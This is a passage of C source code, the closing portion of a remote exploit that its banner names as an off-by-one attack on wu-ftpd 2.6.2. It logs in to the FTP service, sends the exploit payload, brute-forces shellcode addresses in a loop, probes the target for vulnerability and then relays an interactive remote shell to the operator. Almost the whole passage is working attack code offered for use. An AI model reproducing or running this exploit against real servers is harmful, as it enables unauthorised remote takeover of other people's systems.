  701.         (void)re_connt(sock);
  702.         fprintf(stdout," [  OK  ]\n");
  703.  
  704.         fprintf(stdout," [3] ftpd connection login.\n");
  705.         (void)ftpd_login(sock,user_id,pass_wd);
  706.  
  707.         fprintf(stdout," [4] send exploit code.\n");
  708.         (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
  709.  
  710.         fprintf(stdout," [5] Waiting, execute the shell ");
  711.         fflush(stdout);
  712.         (u_int)sleep(SCS);
  713.         
  714.         fprintf(stdout,".");
  715.         fflush(stdout);
  716.         (u_int)sleep(SCS);
  717.         
  718.         fprintf(stdout,".");
  719.         fflush(stdout);
  720.         (u_int)sleep(SCS);
  721.  
  722.         fprintf(stdout,".\n");
  723.         (void)conn_shell(sock,sh_addr);
  724.         close(sock);
  725.     }
  726.     else
  727.     {
  728.         int bt_num=(NRL);
  729.         fprintf(stdout," [*] Brute-Force mode.\n");
  730.         fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
  731.         fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);
  732.  
  733.         for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
  734.         {
  735.             sh_addr=(u_long)null_chk(sh_addr);
  736.             fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
  737.             fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
  738.             fflush(stdout);
  739.             
  740.             sock=(int)setsock(tg_host,tg_port);
  741.             (void)re_connt(sock);
  742.             fprintf(stdout," [  OK  ]\n");
  743.             
  744.             fprintf(stdout," [1] ftpd connection login.\n");
  745.             (void)ftpd_login(sock,user_id,pass_wd);
  746.             
  747.             fprintf(stdout," [2] send exploit code.\n");
  748.             if(bt_num==(NRL))
  749.             {
  750.                 (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
  751.             }
  752.             else
  753.             {
  754.                 (void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
  755.             }
  756.             close(sock);
  757.             
  758.             fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
  759.             fflush(stdout);
  760.             
  761.             sock=(int)setsock(tg_host,tg_port);
  762.             (void)re_connt(sock);
  763.             fprintf(stdout," [  OK  ]\n");
  764.             
  765.             fprintf(stdout," [3] ftpd connection login.\n");
  766.             (void)ftpd_login(sock,user_id,pass_wd);
  767.             
  768.             fprintf(stdout," [4] send exploit code.\n");
  769.             (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
  770.             
  771.             fprintf(stdout," [5] Waiting, execute the shell ");
  772.             fflush(stdout);
  773.             (u_int)sleep(SCS);
  774.  
  775.             fprintf(stdout,".");
  776.             fflush(stdout);
  777.             (u_int)sleep(SCS);
  778.             
  779.             fprintf(stdout,".");
  780.             fflush(stdout);
  781.             (u_int)sleep(SCS);
  782.             
  783.             fprintf(stdout,".\n");
  784.             (void)conn_shell(sock,sh_addr);
  785.             close(sock);
  786.  
  787.             sh_addr+=(bf_lsz);
  788.         }
  789.     }
  790.     exit(NRL);
  791. }
  792.  
  793. int setsock(char *u_host,int u_port)
  794. {
  795.     int sock;
  796.     struct hostent *sxp;
  797.     struct sockaddr_in sxp_addr;
  798.  
  799.     if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
  800.     {
  801.         return(FAD);
  802.     }
  803.     if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
  804.     {
  805.         return(FAD);
  806.     }
  807.     sxp_addr.sin_family=AF_INET;
  808.     sxp_addr.sin_port=htons(u_port);
  809.     sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
  810.     bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));
  811.  
  812.     if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
  813.     {
  814.         return(FAD);
  815.     }
  816.     return(sock);
  817. }
  818.  
  819. void conn_shell(int conn_sock,u_long scs_addr)
  820. {
  821.     int died;
  822.     int ex_t=(NRL);
  823.     char *command,readbuf[(GET_R)];
  824.     fd_set rset;
  825.  
  826.     switch(t_g)
  827.     {
  828.         case 0:
  829.         case 1:
  830.         case 2:
  831.         case 3:
  832.         case 4:
  833.         case 5:
  834.             command=(DEF_COMM);
  835.             break;
  836.         case 6:
  837.         case 7:
  838.         case 8:
  839.             command=(DEF_COMM_OB);
  840.             break;
  841.     }
  842.     memset((char *)readbuf,(NRL),sizeof(readbuf));
  843.     fprintf(stdout," [*] Send, command packet !\n\n");
  844.     send(conn_sock,command,strlen(command),(NRL));
  845.  
  846.     for(;;)
  847.     {
  848.         fflush(stdout);
  849.         FD_ZERO(&rset);
  850.         FD_SET(conn_sock,&rset);
  851.         FD_SET(STDIN_FILENO,&rset);
  852.         select(conn_sock+1,&rset,NULL,NULL,NULL);
  853.  
  854.         if(FD_ISSET(conn_sock,&rset))
  855.         {
  856.             died=read(conn_sock,readbuf,sizeof(readbuf)-1);
  857.             if(died<=(NRL))
  858.             {
  859.                 if(!ex_t)
  860.                 {
  861.                     fprintf(stderr," [-] exploit failure.\n\n");
  862.                     return;
  863.                 }
  864.                 else
  865.                 {
  866.         fprintf(stdout," [*] exploit successfully ! (&shellcode_addr: %p)\n\n",scs_addr);
  867.                     exit(NRL);
  868.                 }
  869.             }
  870.             readbuf[died]=(NRL);
  871.             fprintf(stdout,"%s",readbuf);
  872.         }
  873.         if(FD_ISSET(STDIN_FILENO,&rset))
  874.         {
  875.             died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
  876.             if(died>(NRL))
  877.             {
  878.                 readbuf[died]=(NRL);
  879.                 if(strstr(readbuf,"exit"))
  880.                     ex_t=(SCS);
  881.                 write(conn_sock,readbuf,died);
  882.             }
  883.         }
  884.     }
  885.     return;
  886. }
  887.  
  888. void re_connt(int st_sock_va)
  889. {
  890.     if(st_sock_va==(FAD))
  891.     {
  892.         fprintf(stdout," [ Fail ]\n\n");
  893.         exit(FAD);
  894.     }
  895. }
  896.  
  897. void banrl()
  898. {
  899.     fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
  900. }
  901.  
  902. int check_exp(int sock)
  903. {
  904.     int conn_died;
  905.     char gt_bf[(GET_R)];
  906.  
  907.     fprintf(stdout,"\n [+] Check exploit test ...\n");
  908.     send(sock,"X82\r\n",strlen("X82\r\n"),(NRL)); /* test packet */
  909.     (u_int)sleep(SCS);
  910.     memset((char *)gt_bf,(NRL),sizeof(gt_bf));
  911.     conn_died=read(sock,gt_bf,sizeof(gt_bf)-1);
  912.  
  913.     if(strstr(gt_bf,(CMD_ERROR)))
  914.     {
  915.         fprintf(stdout," [X] After test exploit, wu-ftpd is alive.\n");
  916.         return(FAD);
  917.     }
  918.     else if(conn_died<=(NRL))
  919.     {
  920.         fprintf(stdout," [*] Ok, This is vulnerable version.\n\n");
  921.         return(SCS);
  922.     }
  923.     else return(FAD);
  924. }
  925.  
  926. /* eoc */
  927.